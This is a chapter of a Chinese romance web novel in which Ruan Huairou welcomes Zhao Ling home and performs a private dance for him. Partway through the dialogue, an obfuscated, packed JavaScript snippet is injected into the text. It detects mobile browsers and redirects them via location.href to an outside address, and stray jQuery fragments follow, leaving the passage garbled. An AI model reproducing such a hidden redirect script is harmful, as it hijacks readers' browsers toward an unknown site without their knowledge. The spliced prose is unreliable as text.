我心中咯噔一下,心道果然,刚想出声替他们说几句情,就看赵祾安抚地朝我笑了笑:“这里只有我们,我自然不会驳你的面子。阮夫人说此事揭过,便是揭过。我如今还在府内处理事务,断不会因着担心、思念夫人而扔下一屋子要务琐事擅自出城。”
我松了口气,赵祾又道:“往日都说你最心软,今日一见,倒觉得长进不少。是不是上回杨柳堤泛舟过后,你私下里偷偷操练过?”他说着这话,眉眼中全是戏谑。
我环住他的脖子,踮起脚去看他:“看样子我狐假虎威,做得还不错?还是要多谢你铁血手腕,这才有虎威叫我借来用。我方才一直担心自己罚得轻了,让你失了声望;但若罚得过重,又恐没了人心,所以才没直说,只说让他们去找邢管家,等我之后想好了再决定。”
他低笑了一声:“我才夸过你,怎么又自己露馅了,说你心软便是该的。你也听到了,换作是我,便是赵宣也直接逐出赵氏去了,哪还有这等便宜事。”
他向来说一是一,这才是赵祾。似我这般惶恐犹豫,反而做不了主心骨。
不过既然他已如此刚硬果决,换我怀柔,似也不错。这样看这名字,似乎又并不像阿淑说得那么难听了。
正想着,我突然发觉最近已有好长一阵没见着赵姝,不免问道:“阿姝如今在何处?”
“在敕羌呢。”赵祾把头搁在我肩上,看起来确实是累了,“怎的突然提起她?”
“感觉许久未见了……她怎会去了关外?是同敕羌姬氏有要事相商吗?”
“嗯……过几日,我也会动身去一趟敕羌,原想这几日就同你说的,结果你反倒先问起了。”他在我颈边蹭了蹭,“太子册立,各方势力都重新洗牌来过,敕羌姬氏便做了东,请各氏族相商。别人就罢了,赵氏受影响最大,我须得亲自过去。
“你是百丈谷出身,照理,你该与我同往,但……”
“但荆台和沱郡还需要我。”我笑着替他把话说完,又摇了摇头,“你此去是有正事,还是只身前去更佳。”
赵祾听了便笑:“知我者,怀柔也。我很快就回来,不会超过两月,之后便有一阵空闲日子,我同你一起回百丈谷,去给岳丈大人正式道歉。这段日子总似在逃命,若是之后还日日如此,这家主我都想撂挑子不做了。”
即使知道他是在说笑,这话也让我不禁莞尔,可不就是在逃命么,但这些总算要告一段落,从此天高任鸟飞,再没有什么能将我们囚作笼中雀。
两个月……若要分开这么久的话,我突然想给他准备一个特殊的礼物。
整个沱郡的疫病都已结束,我每日又同从前一样去医馆坐诊,但现今已学乖了,不会全副心思皆扑在上面,闲时练字或者画画。除此以外,便是在准备给赵祾的礼物。
流光容易把人抛,这两个月竟也是恍然之间便过去了,赵祾回来的那天正是个晴朗的秋日,沱郡万里无云,却也不显得闷热。
我早早地就醒了,阿姝提前离开了敕羌,几日前已到了荆台,带了话说赵祾大约今日夜里才能到,但用过午饭之后我便再也坐不住,纠结了片刻,还是让邢管家备了车,早早便到荆台城外的长亭相候。赵祾已将阿姝指给我做护卫,她对此亦无异议,只有些特殊时候,她才会被派去做些别的,因此许多时候我都与阿姝同行。
今次虽然没什么必要去远迎赵祾,但阿姝也只覷了我一眼,终究还是陪着我去了。
等到太阳刚开始西斜,远处便奔来一匹黑马,我似有预感,不禁起身到亭外张望。一眨眼的功夫,那马便到了跟前,只感到腰上一阵大力,我正惊骇着,就被揽进了一个熟悉又陌生的怀抱。
我抬头看了看那人的脸,万物皆在此刻停驻,急跳的心一瞬平静下来,接着却开始奏响更加激烈的鼓点。
我都能想象到阿姝有些无奈的神色,赵祾的马片刻未停,依然朝荆台飞驰而去,他紧了紧手臂,以便我在马上坐稳,这才低声对我笑道:“谁家的小娘子生得如此娇俏,掳回去当我夫人,你可愿意?”
也不知是他的话将我逗笑了,还是久别重逢太过开心,我环住他,难得大笑出声:“这是家主在关外这些日子学来的么?好热情呀,大漠里的男子都这样说话的?”
他的嘴角勾了起来:“还学了别的,回去慢慢说给你听。”
“正巧我备了礼,家主若不嫌弃,请去府里一观。”
回府之后我推着赵祾先去沐浴更衣,实际上却是给乐师们留出些时间,毕竟赵祾回来得比我们预计的都早了太多。
他瞧我的样子,明晃晃的笑意却是一点也不藏:“到底什么礼物这般神秘?”
我不由分说将他推进门里,然后立刻去换我的衣裳,专程制作的纱裙不方便穿脱,也不知道赵祾回来得这么突然,请来的乐师会不会出错。
待一切准备得差不多了,我便让人去请赵祾进屋落座。
他甫一进屋,就唤我的名字:“怀柔?”
我在屏风后扬声道:“你坐在那边的椅子上就行,不要过来。”
赵祾回来之前,我拜托邢管家将正厅按要求布置了一下,将里面的东西大都暂时搬离了,如今里面空空荡荡,只留了一把椅子、几瓶插花和一面屏风,还挂了些许红绫。乐师都在东西两侧的厢房里,现今屋门关着,里面只有我们两个人。
这是只为赵祾准备的舞,我也只会让他看见。
他低低笑了一声算作答应,这笑落在我耳中,像羽毛一样痒痒的。想到待会要跳的舞,我心跳如擂鼓,又暗暗安慰自己,准备了这么久,我不会在最后出问题的。
过了一会儿,我听见外间左右分别传来了三声鼓声,便知道东西厢房也准备就绪,于是深吸口气,摇了下铃,富有异域韵味的曲调自两旁响了起来。
踩着鼓点从屏风后面旋转出来,红裙子被抖开,像一朵燃烧的榴花。我又转了几圈,依稀间好像看见我唯一的看客眼睛一瞬亮了,我便知道这礼物确实让他感到了惊喜。
同却勒来的舞娘学这支舞时,她总说我的舞步和动作已经足够熟练,但少了最重要的灵气,最初得到这个评价时我还颇受打击。今日是我第一次,也是唯一一次跳这支舞给人看,我好似突然理解了她这样说的原因。
我学舞本就不是为了孤芳自赏,从前没有考虑过看我的人,自然也就只顾着熟记下一步要踏出哪只脚,手臂应该如何伸展。但这支舞是热烈的,它原本存在就是为了传达出舞者的情绪,或是向人示爱——我选的这支就是后者。
所以此时,恐怕才是我这么多日以来唯一真正跳出的舞,因为我想要示爱的人终于回到了我身边。
这支舞的寿命很短暂,它只为今日,也只为这一个人。
我伸出手来,赵祾以为是要他牵住,也下意识地伸出手,我却立刻收回了手。目光相接的时候,他眼里写满了“待会与你清算”,这回是我棋高一着,禁不住有几分得意。
胡琴和琵琶的声音节奏愈快,我脚下的舞步也愈快。眼见得大珠小珠急落,如暴雨倾盆,曲子已进行到最后,裂帛一样的琴声里,我几乎是想也没想就改变了已练习过千百遍的步调,一个旋身,落进了赵祾怀里。
他反应极快,长臂一收,稳稳接住了我,让我就这样坐在了他身上。
因着方才乐声又大又急,突然到来的安静倒像时间也停驻了一般。
最后一段舞步太快,每次我跳完总要停下一会儿,气才能喘匀,赵祾却未给我休息的机会,一个比方才的舞还热烈的吻落在了我的唇上。因为他太霸道,牙关没守住,轻易地就被对方攻城略地了。
一个又长又深的吻,原本就有些喘不上来气,这下差点连呼吸都被夺走了,赵祾大发慈悲放开我之后,我已经像一条搁浅的鱼,全身发软,只能倚着他,脑子还眩晕着,我却突然想起上次他吻我已是除夕时,往来这许多事横亘在我们之间,倒有种恍如前世的感觉。
“怀柔,你真的没有偷偷跟着我去敕羌么?”他带着笑的声音莫名听起来有些危险,我突地有种赵祾不会轻易放过我的预感,不过我本也没想着要轻易放过他。
我勉强支起上半身来看向他:“疫病差不多结束之后,我去歌舞坊找关外来的舞娘学的。当然,刚才灵光一现,改动了一些地方。”
他示意我继续,我便道:“最后本该卧在地上,裙子会像花朵一样绽开,但是……”
“但是这花却开在我怀里了。”他用指头捻动我身上的红纱,“劝君莫惜金缕衣,劝君惜取少年时。你说,是不是有花堪折直须折。”
正此时,能听见又传来三声鼓点,赵祾用眼神询问我,我道:“是乐师们已收拾好东西,从院子里退出去了。”
他的眼睛里带了笑:“我原还疑惑你为何要让他们都在东西厢房里奏乐,但见了你跳的舞,又觉得确实该如此。”
也不知道是否是方才跳舞太累,我感到脸上的温度迅速上升,不用看便知道自己肯定已经面红耳赤。但我喜欢他注视我的眼神,就如我喜欢注视他。
实在受不住这样的视线,但自己又不愿意移开目光,我只能蒙住他的双眼,小声转移话题:“不是要折花吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669183|188615||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”
赵祾低低笑道:“是了,我还专程为此沐浴焚香了,怎么能辜负怀柔的一番心意。”
屋里的熏香自他进来就燃上了,看起来赵祾一早就猜到了我今日想做什么,或者说我们俩的想法原本就是一样的。
我没移开手,依然覆在他眼上,赵祾也不催促,噙着笑等我动作。但掌下的眼睛并未一直听话地闭着,我能感到他坏心眼地眨了眨,睫毛扫过我的掌心,留下浅浅的痒,那感觉就像笼了一团火,烫得我不小心撒了手。
我以眼神控诉,赵祾却一脸无辜地看着我,气得我急火攻心,偏头就朝着他的嘴唇咬下去。这一下却落入了对方早就准备好的陷阱。赵祾一早就做着守株待兔的打算,将我轻易地圈了起来,深吻间泻出来几句低语:“怀柔,这是你自己闯进来的,我不会放你轻易离开的。”
我笑着,同样不服输地回道:“我也没想逃。”
赵祾却像突然想起什么一样,正色道:“你当时送来敕羌的那封信,所谓何意?‘彩袖殷勤捧玉钟。当年拚却醉颜红。舞低杨柳楼心月,歌尽桃花扇底风’……”
话至此处我已知道他要说些什么,赶紧去堵他的嘴,但手已被他双双擒住,一来一回间裙子上挂的金饰一阵哗啦乱响,我只能抬起下颌把嘴唇送了上去,企图让他忘却方才想说的话。
赵祾自然照单全收,但美人计却并不怎么奏效。他得了贿赂,却没停下,反而继续拿我改动了的酸词说事:“……‘从别后,恨相逢’。阮怀柔,有这么恨吗?”
“那天梦到了你,第二日晨起时不太清醒,乱写的。”
“确实不太清醒。”他点头,故意做出顿悟的样子,“我瞧你字迹凌乱,可想而知心中感情激荡,连静下来好好写字的心情都没有。”
我捶了他一拳:“赵祾,适可而止……”
他把我的手笼进掌心:“便是短短一月,‘几回魂梦与君同’,如此确是该恨相逢。二姑娘未免太偏心,只许你恨,不许我恨?”
“你……”我猛然抬头去看他,这意思是,他也频频梦到过我?
他亲了亲我的耳垂,嘴唇留下细密的湿意,显得尤为缠绵:“我倒是好奇,二姑娘梦到了什么,才能写出这样的信来?”
我对他吐吐舌头:“才不告诉你。”
“不说?没关系,有的是办法让你说。”
赵祾在我腰上软肉上轻轻捏了一把,我本就怕痒,他又知道哪里最好下手,我便被他捉弄得上气不接下气的,他又问:“说不说?”
我一面向他怀里缩,一面笑着道:“不说。”
“这次嘴这么严?看样子倒是梦到什么十分了不得的东西了?”赵祾轻轻笑了一声。
我不答,他便绵声细语地道:“梦到什么了?真的不能告诉我吗?”
他又换了种问法,温言软语的,几乎要算诱哄,料定了我吃软不吃硬。
这般攻势下,我也确实兜不住了,只稍稍撇开脸去:“我说了,你不能笑我,现在不行,以后也不行。”
他见我松口,眯着眼应道:“好。”
不敢看他,我凑到他耳边低语几句,赵祾整个人如被定住了一般,突然便不再说话,倒叫我心虚起来。我抬起头去,却冷不丁撞进一双沉进深潭的眼睛,他目光太过专注,让我有些移不开眼。
便是在这样的眸光下,我头脑发热,更多的事情便被自发抖落出来:“晨起发现是梦的时候,心里空得慌,又浑浑噩噩的,这才写下那种东西的……罢了,你想笑便笑吧!”
我认命般得闭上了眼睛,想着看不见就没发生,却并未听见意料之中的笑声,心中忐忑得紧,只敢掀起半边眼皮去觑他,不过这么近,我什么神色都瞒不过他。赵祾见我样子,好似才反应过来,我立刻又闭上了眼,他摇了摇我:“睁开眼看看我,怀柔。”
我心下疑惑,但倒也依言睁开了眼,只见他瞳中浮上一层眸光,牵起的眼角偷偷泄露了情绪,接着他再也忍不住,低低笑起来。
我瞪着他,只觉羞恼:“就为了叫我看清你如何取笑我的!”
“我哪里是在笑你,我是在开心。”我赌气地撇过头,赵祾又牵了我的手,在掌心落下滚烫的吻:“若我说我也梦到了相同的事呢,可还气?”
我怔住了,看他神情,又不似假话,他继续道:“很惊讶?你可有算过,我们到底多久没有好好地说过几句话了?我又没修无情道,怀柔。”
我俯下身捧住他的脸,赵祾只是温和地等待着,直到我主动亲了亲他,他这才贴了上来,一个深长的吻。